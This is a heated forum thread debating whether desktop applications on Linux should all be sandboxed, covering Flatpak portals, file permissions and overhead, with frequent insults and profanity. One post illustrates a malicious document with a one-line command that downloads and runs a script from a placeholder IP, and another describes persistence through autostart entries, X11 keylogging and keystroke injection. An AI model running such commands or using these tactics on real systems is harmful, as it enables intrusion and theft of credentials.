Announcement

Collapse
No announcement yet.

KDE Now Has Virtual Desktop Support On Wayland

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • #51
    Originally posted by Weasel View Post
    Then open it in a container or VM. Logically, the overhead is only one time when you verify it, so no problem.
    I'm not in the mood to put up with this kind of conversation, but I just have to share two points nobody has made:
    1. Humans are lazy and life is busy. Exploits rely on the fact that, if you don't find anything the first 1000 times, you're likely to just start opening files directly when you're in a hurry. Good security has to design around human flaws.
    2. Malware does exist which checks the installed hardware on the system and remains dormant if it detects common VM hosts in order to fool you into hopefully letting it out of the VM.
    The closer you get to "all applications sandboxed all the time", the better you counter these.

    Comment


    • #52
      Originally posted by hreindl View Post
      arguments of an fool
      Is that what you say when your arguments get crushed?

      Not going to bother with you anymore cause you think misreading makes you cool when it doesn't.

      Originally posted by Vistaus View Post
      You? As you're so opposed to sandboxing...
      Nope. Browser is not a trusted application (what I consider trusted btw, not what hreindl considers trusted). Virtually any app that has network access is not trusted. Note that internet should be disabled by default and enabled only for specific apps that need it. It sounds like a sandbox, but you don't need any sandbox functionality for that, just simple firewall rules and unix permissions, lol. aka no overhead or complexity.

      Originally posted by ssokolow View Post
      I'm not in the mood to put up with this kind of conversation, but I just have to share two points nobody has made:
      1. Humans are lazy and life is busy. Exploits rely on the fact that, if you don't find anything the first 1000 times, you're likely to just start opening files directly when you're in a hurry. Good security has to design around human flaws.
      2. Malware does exist which checks the installed hardware on the system and remains dormant if it detects common VM hosts in order to fool you into hopefully letting it out of the VM.
      The closer you get to "all applications sandboxed all the time", the better you counter these.
      This is way overblown, no specially "damaged" file or document can pull that off. All distro packaged software is not sandboxed (at least in major distros I know of) and never had such problem. The complexity, inconvenience and overhead just outweights the tiny theoretical benefits.

      Comment


      • #53
        Originally posted by Weasel View Post
        This is way overblown, no specially "damaged" file or document can pull that off. All distro packaged software is not sandboxed (at least in major distros I know of) and never had such problem. The complexity, inconvenience and overhead just outweights the tiny theoretical benefits.
        Of course it can. Even if you ignore the average user, who risks getting tricked into allowing a macro virus to run, you can still exploit a program using a maliciously crafted document if you find a code execution vulnerability.

        For example, a malicious file running something like system("wget http://1.2.3.4/exploit_sfx.sh; ./exploit_sfx.sh"); by using a technique like return-oriented programming to work around NX-bit support or by attacking something with a JIT compiler (eg. embedded Java or JavaScript runtime) that has to opt out of NX-bit enforcement because the developers haven't added the necessary syscalls to flip the bits manually after compilation.

        As with a sandbox vs. a virus scanner's definitions, a sandbox is proactive, while patching the vulnerability is reactive and takes time... time while you're still vulnerable.

        Comment


        • #54
          Originally posted by ssokolow View Post
          Of course it can. Even if you ignore the average user, who risks getting tricked into allowing a macro virus to run, you can still exploit a program using a maliciously crafted document if you find a code execution vulnerability.

          For example, a malicious file running something like system("wget http://1.2.3.4/exploit_sfx.sh; ./exploit_sfx.sh"); by using a technique like return-oriented programming to work around NX-bit support or by attacking something with a JIT compiler (eg. embedded Java or JavaScript runtime) that has to opt out of NX-bit enforcement because the developers haven't added the necessary syscalls to flip the bits manually after compilation.

          As with a sandbox vs. a virus scanner's definitions, a sandbox is proactive, while patching the vulnerability is reactive and takes time... time while you're still vulnerable.
          I'm not sure how much simpler I can make this since I keep having to repeat myself. Apps that have access to the internet are untrusted by definition. No exceptions, not even the distro's updater, which I'm sure all of you super security-conscious people here still trust despite the fact it can be hijacked.

          I disable internet access by default and grant them to apps that need it only. Yes it means I cannot use wget from normal user and have to use a terminal with the sandboxed user (one-click script no problem). I don't see the problem. I only pay the sandbox overhead and inconvenience for apps that are untrusted, aka ALL of those with internet access, and some others. Of course for dummy users this could be made automatic and then only sandbox such apps that have potential to execute 3rd party code. But no, flatpak sandboxes everything which is disgusting.

          I'm not going to fucking sandbox basic shit like nano or the virtual terminal itself (but you should going by your guys' logic!! even though you don't, because "reasons"), text editor, audio/image editors, whatever. What a pain in the ass and inconvenience not to mention overhead.

          Of course by "sandbox" we do mean a real secure sandbox. A sandbox with access to your personal files might as well not even be called a sandbox, since it's useless. If it has your files, nothing else matters anyway.

          "Untrusted" apps with internet access don't have access to your files. You don't need a sandbox for this just basic unix permissions and a separate user (and a set uid script to launch a terminal or whatever app as that user from your main).
          Last edited by Weasel; 22 January 2019, 07:13 PM.

          Comment


          • #55
            Originally posted by Weasel View Post
            "Untrusted" apps with internet access don't have access to your files. You don't need a sandbox for this just basic unix permissions and a separate user (and a set uid script to launch a terminal or whatever app as that user from your main).
            Yeah. I could do that a decade and a half ago when I came to Linux as a teenager and felt like it was a wonderful new toy. Guess what... even then, juggling file permissions and ownership and incorporating helper scripts into my launcher icons felt more and more like an annoying speed-bump in using my system with no benefit, so I stopped.

            Flatpak aims to be match or exceed the system package repository for convenience and any sandbox system which uses its portals is frictionless for apps that do need access to my files, because it integrates with GTK+ and Qt so the file chooser dialogs run outside the sandbox. If you pick a file, it gets mounted into the sandbox. Painless, yet secure.

            Comment


            • #56
              Originally posted by ssokolow View Post
              Yeah. I could do that a decade and a half ago when I came to Linux as a teenager and felt like it was a wonderful new toy. Guess what... even then, juggling file permissions and ownership and incorporating helper scripts into my launcher icons felt more and more like an annoying speed-bump in using my system with no benefit, so I stopped.
              You can just setfacl on an entire directory tree...

              I guess too complicated for IT professionals like hreindl, lol.

              Originally posted by ssokolow View Post
              Flatpak aims to be match or exceed the system package repository for convenience and any sandbox system which uses its portals is frictionless for apps that do need access to my files, because it integrates with GTK+ and Qt so the file chooser dialogs run outside the sandbox. If you pick a file, it gets mounted into the sandbox. Painless, yet secure.
              Mount for a file. Talk about overhead.

              Fun fact: I don't use the file chooser. Apps, like those ran under Wine, or terminal apps, don't use it either.

              Originally posted by hreindl View Post
              the fucking app don't need internet access itself
              it just needs a local exploit and a crafted document / file
              Files don't grow in trees. Besides most flatpak already have access to your $HOME which is game over in this case.

              Also, if the app has no internet, what the fuck is it going to do? Delete your files? Keep backups. Meanwhile even with flatpak most apps can access your $HOME and thus, your files. So, yeah, they can already do it. Holy shit.

              Originally posted by hreindl View Post
              you don't understand the problem at all
              in doubt every input data is untrusted and be it a document from a person you trust on a usb-stick
              For example, most distros come with LibreOffice or similar. Obviously not sandboxed. Looks like clueless paranoid is just you. Apocalypse is looming.

              Not to mention all the terminal apps operating on files... but I forgot, "argument of a fool" eh? I guess files they process are somehow special so you don't appear like a fool when you can't counter it.
              Last edited by Weasel; 23 January 2019, 09:41 PM.

              Comment


              • #57
                Originally posted by hreindl View Post
                your setfacl don't help you in case of a root exploit aka privilege escalation
                namespaces and sandboxes do

                namespaces and file permissions are not a logical or, you can have both dumb fuck!
                Yeah it's called overkill, especially for trusted apps.

                Originally posted by hreindl View Post
                and vfat has no permission concept at all - so what
                don't you realize that security technologies have envolved the past few years?

                1.5 years ago spectre and meltdown was unnown too
                It's not evolution when it has more overhead. And like I said if you had to sandbox everything then systems would be unusable but they aren't, so unlike you seem to think, some apps are simply "trusted". Well, I can't help you with your paranoia.

                Flatpak is not a fucking security channel. It's app distribution (as it says on its website). Snap got it right, with sandbox being optional and off by default in most packages.

                Comment


                • #58
                  Originally posted by Weasel View Post
                  Fun fact: I don't use the file chooser. Apps, like those ran under Wine, or terminal apps, don't use it either.
                  Security is not an all-or-nothing proposition. Your argument is comparable to saying "We shouldn't security-harden web apps because it has no effect on desktop apps".

                  If your copy of Vim is insecure, but a maliciously-crafted PDF attacks a bug in your copy of Evince or Ocular and you're running them in a well-configured sandbox, then the sandbox will protect you.

                  Originally posted by Weasel View Post
                  Besides most flatpak already have access to your $HOME which is game over in this case.
                  Because Flatpak is still maturing.

                  Not too long ago, the file chooser portal wasn't implemented by major desktops. Beyond that, GTK+ devs decided to make Flatpak-compatible file choosers opt-in with a new GtkFileChooserNative alternative to GtkFileChooser which has fewer customization hooks. There are still versions of GTK+ 3.x in use which don't offer it. It's perfectly reasonable that most flatpaks aren't using the file chooser portal yet.

                  Likewise, desktops are still working to implement Flatpak installation GUIs which present the scary "This application wants permission X, Y, and Z" prompts which will help to exert peer pressure on lazy developers who don't define proper manifests.

                  Originally posted by Weasel View Post
                  Also, if the app has no internet, what the fuck is it going to do? Delete your files? Keep backups. Meanwhile even with flatpak most apps can access your $HOME and thus, your files. So, yeah, they can already do it. Holy shit.
                  Suppose the app has no Internet but has access to $HOME. It could write an exploit script into $HOME/.somedotdir/ and then edit your crontab or some other user configuration file which then asks the system to launch an application with network privileges? (eg. adding a launcher to ~/.config/autostart so the exploit script will run on next login.)

                  Suppose the app has access to X11 and the network but not $HOME. It could function as a keylogger and send your keystrokes and the title of the window you typed them into off to someone else. (Which is enough to have a pretty good idea of what is probably a username and password... not to mention, credit card numbers are machine-recognizable by design.)

                  Suppose it has access to X11 but not the network and not $HOME. It could do all sorts of trickery to either try to scare a novice user into believing their desktop is being held for ransom (just use the APIs meant for implementing screen lockers and make them feel uncertain about trying to power-cycle the system.) or to distract you while it does AutoHotKey-style keystroke injection into a browser (recognized by window title) to trigger the out-of-sandbox downloading and running of a second-stage exploit. (This one is why Wayland is designed the way it is.)

                  Originally posted by Weasel View Post
                  For example, most distros come with LibreOffice or similar. Obviously not sandboxed. Looks like clueless paranoid is just you. Apocalypse is looming.
                  Nice "Things are imperfect now. Therefore, we should make no attempt to improve them." argument and nice ad hominem attack.

                  Originally posted by Weasel View Post
                  Not to mention all the terminal apps operating on files... but I forgot, "argument of a fool" eh? I guess files they process are somehow special so you don't appear like a fool when you can't counter it.
                  I never called you a fool (or any names for that matter) because I believe in addressing people's points, not their character. That said, your points and style of argumentation invite a very poor impression of you.
                  Last edited by ssokolow; 23 January 2019, 10:51 PM.

                  Comment


                  • #59
                    Originally posted by ssokolow View Post
                    Security is not an all-or-nothing proposition. Your argument is comparable to saying "We shouldn't security-harden web apps because it has no effect on desktop apps".

                    If your copy of Vim is insecure, but a maliciously-crafted PDF attacks a bug in your copy of Evince or Ocular and you're running them in a well-configured sandbox, then the sandbox will protect you.
                    And what if you aren't? Which is in 99.9999% of cases? You suffer inconvenience and overhead. Sandbox it when checking a download from a fishy website, sure. Although even then it's super unlikely if you are using a not-super-popular app since it won't be targeted, for sure.

                    If you open a downloaded document, sure go ahead, sandbox it. If you are opening a file you know it's not infected, then it makes no sense to sandbox it. And this is what happens in 99.9% of cases for me. It's as simple as that.

                    Originally posted by ssokolow View Post
                    Because Flatpak is still maturing.

                    Not too long ago, the file chooser portal wasn't implemented by major desktops. Beyond that, GTK+ devs decided to make Flatpak-compatible file choosers opt-in with a new GtkFileChooserNative alternative to GtkFileChooser which has fewer customization hooks. There are still versions of GTK+ 3.x in use which don't offer it. It's perfectly reasonable that most flatpaks aren't using the file chooser portal yet.

                    Likewise, desktops are still working to implement Flatpak installation GUIs which present the scary "This application wants permission X, Y, and Z" prompts which will help to exert peer pressure on lazy developers who don't define proper manifests.
                    Yuck. Reminds me of a fucking phone for dummies, no offense, it's just what it does.

                    Originally posted by ssokolow View Post
                    Suppose the app has no Internet but has access to $HOME. It could write an exploit script into $HOME/.somedotdir/ and then edit your crontab or some other user configuration file which then asks the system to launch an application with network privileges? (eg. adding a launcher to ~/.config/autostart so the exploit script will run on next login.)

                    Suppose the app has access to X11 and the network but not $HOME. It could function as a keylogger and send your keystrokes and the title of the window you typed them into off to someone else. (Which is enough to have a pretty good idea of what is probably a username and password... not to mention, credit card numbers are machine-recognizable by design.)

                    Suppose it has access to X11 but not the network and not $HOME. It could do all sorts of trickery to either try to scare a novice user into believing their desktop is being held for ransom (just use the APIs meant for implementing screen lockers and make them feel uncertain about trying to power-cycle the system.) or to distract you while it does AutoHotKey-style keystroke injection into a browser (recognized by window title) to trigger the out-of-sandbox downloading and running of a second-stage exploit. (This one is why Wayland is designed the way it is.)
                    Uhm, dude, for that to work (first case), the app would need to specifically target your machine and personal scripts of launching apps with network access. That's just not going to happen, it's just too much paranoia. For real, you and me aren't high-profile targets. Just generic exploits which won't work, obviously.

                    Note that this is even harder for exploits with a "specially crafted file". So it's too much paranoia for no gain.

                    But if you download an app, and it's too new for scan, then obviously sandbox it first, run it in a VM. In fact, a standard sandbox is probably not enough here, you need to do more detailed analysis on it. I never said you download any app and then run it without a sandbox instantly -- that would mean that the just-downloaded app is "trusted", which is just dumb and has nothing to do with sandboxing everything.

                    BTW, Windows has "easy to use" generic sandboxes like Sandboxie, which I used a lot when I had Windows. However, only on untrusted apps, so it's not like I'm unfamiliar with that concept. Having to use it for everything would just slow down and bloat the system.

                    Originally posted by ssokolow View Post
                    Nice "Things are imperfect now. Therefore, we should make no attempt to improve them." argument and nice ad hominem attack.
                    That was in reply to hreindl though. I'm sure you know why I argue with him that way.

                    Originally posted by ssokolow View Post
                    I never called you a fool (or any names for that matter) because I believe in addressing people's points, not their character. That said, your points and style of argumentation invite a very poor impression of you.
                    Huh? That was a reply to hreindl, and the quotes was literally what he said to me. Funny how ashamed he is of it now and won't even admit it.
                    Last edited by Weasel; 24 January 2019, 07:37 PM.

                    Comment


                    • #60
                      Originally posted by hreindl View Post
                      there is no such thing like a trusted app no matter if you realize it
                      Oh really? How about your fucking boot manager? Not even you can escape that. I just have more exceptions than you here for what I trust.

                      Originally posted by hreindl View Post
                      about which fucking overhead are talking all the time?
                      show numbers where namespaces have measureable overhead or shutup
                      Pretty sure they waste more RAM and having to mount files into them again wastes more kernel memory. Looking through /proc/mounts would also be slower. And then there's accessing it which is obviously slower just like accessing multi-layered stuff like overlayfs.

                      Originally posted by hreindl View Post
                      there is no "everything" in the security business

                      security is layered by definition and every single piece making specific attacks impossible or harder is enhancing security
                      security is not "that's it now" - it's a progress and anybody except stubborn idiots like you know this
                      What the fuck are you talking about? This has nothing to do with what I said.

                      You're arguing about sandboxing every app or service, and that's exactly what I said by everything.

                      But if that was the reason then current systems would be fucking blown out since they do NOT sandbox everything, not even close in fact.

                      Comment

                      Working...
                      X